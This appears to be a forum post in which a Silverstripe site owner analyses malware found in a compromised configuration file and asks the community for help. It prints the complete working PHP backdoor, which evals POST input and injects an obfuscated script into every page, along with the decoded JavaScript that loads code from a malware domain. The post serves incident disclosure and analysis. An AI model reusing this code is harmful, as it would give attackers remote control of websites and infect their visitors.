I made an archive of the folder that I deleted and have been checking it out see what I find...
The "/blog/_config.php" file ( md5: FFCE682E09CAD3F5801E2F5F6D9B6B74 )
which should start out empty in a Silverstripe installation, had this...
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihDcVBBKXt2YXIgb09CWHo9JyUnO3ZhciBDYWp5PSd2YXIsMjBhLDNkLDIyLDUzY3JpcHQsNDUsNmVnaSw2ZWUsMjIsMmMsNjIsM2QsMjJWZXJzaW8sNmUoLDI5KywyMiwyY2osM2QsMjIsMjIsMmN1LDNkLDZlYXZpZ2F0b3IsMmV1LDczLDY1ckFnLDY1biw3NCwzYmksNjYoKCw3NSwyZSw2OW4sNjRleE9mLDI4LDIyV2luLDIyKSwzZTApLDI2LDI2KHUsMmVpbmRleE9mKCwyMiw0ZVQsMjA2LDIyLDI5LDNjMCksMjYsMjYoZG8sNjN1bWVuLDc0LDJlY29va2ksNjUsMmVpbmRleE9mKCwyMm1pZWssM2QxLDIyKSwzYzApLDI2LDI2KCw3NHlwZW9mLDI4enJ2enRzKSwyMSwzZHR5LDcwZSw2ZmYoLDIyQSwyMikpLDI5LDdienIsNzYsN2EsNzRzLDNkLDIyQSwyMiwzYmV2YWwsMjgsMjJpLDY2KHcsNjluLDY0byw3NywyZSwyMithKywyMilqLDNkaissMjIrLDYxLDJiLDIyTSw2MWpvciwyMissNjIrYSssMjJNaW5vciwyMitiK2ErLDIyLDQydWksNmNkLDIyK2IrLDIyaiwzYiwyMiksM2JkLDZmY3VtZW50LDJldyw3Mml0ZSgsMjIsM2NzYyw3MmksNzAsNzQsMjBzLDcyYywzZCwyZiwyZmcsNzVtYiw2Y2FyLDJlY24sMmZycyw3MywyZiwzZmlkLDNkLDIyK2osMmIsMjIsM2UsM2MsNWMsMmZzY3JpcHQsM2UsMjIsMjksM2IsN2QnO3ZhciBvMjhTUz1DYWp5LnJlcGxhY2UoQ3FQQSxvT0JYeik7ZXZhbCh1bmVzY2FwZShvMjhTUykpfSkoLywvZyk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php
?>
( see http://www.functions-online.com/base64_decode.html to decode )
the obfuscated part of that string, using the base64_decode turns into this
<script language=javascript><!--
(function(CqPA){var oOBXz='%';var Cajy='var,20a,3d,22,53cript,45,6egi,6ee,22,2c,62,3d,22Versio,6e(,29+,22,2cj,3d,22,22,2cu,3d,6eavigator,2eu,73,65rAg,65n,74,3bi,66((,75,2e,69n,64exOf,28,22Win,22),3e0),26,26(u,2eindexOf(,22,4eT,206,22,29,3c0),26,26(do,63umen,74,2ecooki,65,2eindexOf(,22miek,3d1,22),3c0),26,26(,74ypeof,28zrvzts),21,3dty,70e,6ff(,22A,22)),29,7bzr,76,7a,74s,3d,22A,22,3beval,28,22i,66(w,69n,64o,77,2e,22+a+,22)j,3dj+,22+,61,2b,22M,61jor,22+,62+a+,22Minor,22+b+a+,22,42ui,6cd,22+b+,22j,3b,22),3bd,6fcument,2ew,72ite(,22,3csc,72i,70,74,20s,72c,3d,2f,2fg,75mb,6car,2ecn,2frs,73,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2fscript,3e,22,29,3b,7d';var o28SS=Cajy.replace(CqPA,oOBXz);eval(unescape(o28SS))})(/,/g);
--></script>
( see http://www.functions-online.com/urldecode.html to decode )
then substituting ',' for '%' then using urldecode turns into this...
var a="ScriptEngine",b="Version() ",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window." a ")j=j " a+"Major" b a "Minor" b a "Build" b "j;");document.write("<script src=//gumblar.cn/rss/?id=" j+"><\/script>");}
According to McAfee SiteAdvisor "gumblar.cn" is a chinese site that has been flagged by Google safe browsing as hosting malware and trojans. [ see http://www.siteadvisor.com/sites/gumblar.cn for report ]
I am guessing this is some sort of remote injection exploit with the standard installation of Silverstripe, so beware - smarter people than I in the Silverstripe community should look into this. As I said in the beginning, all 3 files had the same creation date so they were likely created by a script. Any white hats out there willing to figure this out? Maybe something needs to be changed in Silverstripe standard install to help the community avoid this elsewhere.
corrupt.zip
